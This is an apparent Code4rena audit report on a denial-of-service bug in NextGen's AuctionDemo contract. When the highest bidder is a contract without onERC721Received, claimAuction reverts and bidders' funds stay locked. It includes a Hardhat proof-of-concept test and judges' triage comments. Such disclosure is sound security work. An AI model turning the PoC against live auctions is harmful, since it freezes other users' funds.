claimAuction can be DOS if highestBidder is a contract that doesn't implement onERC721Received

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

The issue here stems from the the fact that the AuctionDemo contract uses the push pattern instead of the pull pattern.

In this case if the highestBidder is a smart contract wallet, but doesn't implement IERC721Receiver or the onERC721Received function, then the claimAuction function will fail causing permanent loss of funds to all bidders in the auction.

Proof of Concept

The following call will fail in this scenario

IERC721(gencore).safeTransferFrom(
                    ownerOfToken, 
                    highestBidder, 
                    _tokenid

POC:

it.only("#auction fail", async function () {

      // Create Collections
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )

      // Add data
      await contracts.hhCore.setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      // Add minter contract
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
      )

      // Add randomizer contract
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      // Set Collection costs
      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        1, // _timePeriod
        1, // _salesOptions
        '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
      )

      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1696931278, // _allowlistEndTime
        1696931278, // _publicStartTime
        1796931278, // _publicEndTime
        "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
      )

      // Cache mint index
      const mintIndex = await contracts.hhCore.viewTokensIndexMin(1) + await contracts.hhCore.viewCirSupply(1);
      const auctionEndTime = 1796931278;

      // Start mint and auction
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _adminAddress
        '{"tdh": "100"}', // _tokenData
        0, // salt
        1, // _collectionID
        auctionEndTime, // auctionEndTime
      )

      // join auction
      await contracts.hhThief.connect(signers.addr4).prepare(mintIndex, 1);
      await contracts.hhThief.connect(signers.addr4).joinAuction({ value: 150 });

      // Skip to auction end time
      await time.increaseTo(auctionEndTime - 2);

      const auctionContractBalanceInit = await contracts.hhThief.getBalanceOf();
      console.log("INIT auctionContractBalance: ", auctionContractBalanceInit);

      // NFT owner must approve
      await contracts.hhCore.connect(signers.owner).approve(await contracts.hhAuction.getAddress(), mintIndex);

      // Claim auction
      await expect(contracts.hhAuction.connect(signers.owner).claimAuction(mintIndex)).to.be.reverted;

    })

Tools Used

Manual

Recommended Mitigation Steps

1. Implement pull over push pattern

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1759

[c4-judge]

alex-ppg marked the issue as partial-50